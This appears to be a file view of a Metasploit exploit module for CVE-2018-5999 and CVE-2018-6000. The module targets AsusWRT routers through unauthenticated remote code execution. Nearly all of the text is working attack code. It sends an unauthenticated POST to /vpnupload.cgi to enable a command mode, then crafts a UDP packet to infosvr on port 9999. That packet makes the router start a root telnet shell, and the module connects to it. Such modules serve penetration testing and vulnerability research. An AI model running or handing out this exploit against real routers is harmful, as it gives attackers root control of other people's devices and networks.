CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::Remote::Udp
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'AsusWRT LAN Unauthenticated Remote Code Execution',
15
      'Description'    => %q{
16
      The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
17
      perform a POST in certain cases. This can be combined with another vulnerability in
18
      the VPN configuration upload routine that sets NVRAM configuration variables directly
19
      from the POST request to enable a special command mode.
20
      This command mode can then be abused by sending a UDP packet to infosvr, which is running
21
      on port UDP 9999 to directly execute commands as root.
22
      This exploit leverages that to start telnetd in a random port, and then connects to it.
23
      It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
24
      },
25
      'Author'         =>
26
        [
27
          'Pedro Ribeiro <[email protected]>'         # Vulnerability discovery and Metasploit module
28
        ],
29
      'License'        => MSF_LICENSE,
30
      'References'     =>
31
        [
32
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
33
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
34
          ['URL', 'https://seclists.org/fulldisclosure/2018/Jan/78'],
35
          ['CVE', '2018-5999'],
36
          ['CVE', '2018-6000']
37
        ],
38
      'Targets'        =>
39
        [
40
          [ 'AsusWRT < v3.0.0.4.384.10007',
41
            {
42
              'Payload'        =>
43
                {
44
                  'Compat'  => {
45
                    'PayloadType'    => 'cmd_interact',
46
                    'ConnectionType' => 'find',
47
                  },
48
                },
49
            }
50
          ],
51
        ],
52
      'Privileged'     => true,
53
      'Platform'       => 'unix',
54
      'Arch'           => ARCH_CMD,
55
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
56
      'DisclosureDate'  => '2018-01-22',
57
      'DefaultTarget'   => 0))
58
    register_options(
59
      [
60
        Opt::RPORT(9999)
61
      ])
62

63
    register_advanced_options(
64
      [
65
        OptInt.new('ASUSWRTPORT', [true,  'AsusWRT HTTP portal port', 80])
66
      ])
67
  end
68

69
  def exploit
70
    # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
71
    # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
72
    post_data = Rex::MIME::Message.new
73
    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
74

75
    data = post_data.to_s
76

77
    res = send_request_cgi({
78
      'uri'    => "/vpnupload.cgi",
79
      'method' => 'POST',
80
      'rport'  => datastore['ASUSWRTPORT'],
81
      'data'   => data,
82
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
83
    })
84

85
    if res and res.code == 200
86
      print_good("#{peer} - Successfully set the ateCommand_flag variable.")
87
    else
88
      fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
89
    end
90

91

92
    # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
93
    info_pdu_size = 512                         # expected packet size, not sure what the extra bytes are
94
    r = Random.new
95

96
    ibox_comm_pkt_hdr_ex  =
97
        [0x0c].pack('C*') +                     # NET_SERVICE_ID_IBOX_INFO  0xC
98
        [0x15].pack('C*') +                     # NET_PACKET_TYPE_CMD 0x15
99
        [0x33,0x00].pack('C*') +                # NET_CMD_ID_MANU_CMD 0x33
100
        r.bytes(4) +                            # Info, don't know what this is
101
        r.bytes(6) +                            # MAC address
102
        r.bytes(32)                             # Password
103

104
    telnet_port = rand((2**16)-1024)+1024
105
    cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
106
    pkt_syscmd =
107
        [cmd.length,0x00].pack('C*') +          # cmd length
108
        cmd                                     # our command
109

110
    pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
111

112
    connect_udp
113
    udp_sock.put(pkt_final)                     # we could process the response, but we don't care
114
    disconnect_udp
115

116
    print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
117
    sleep(10)
118

119
    begin
120
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
121
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
122
      if not sock.nil?
123
        print_good("#{peer} - Success, shell incoming!")
124
        return handler(sock)
125
      end
126
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
127
      sock.close if sock
128
    end
129

130
    print_bad("#{peer} - Well that didn't work... try again?")
131
  end
132
end
133

134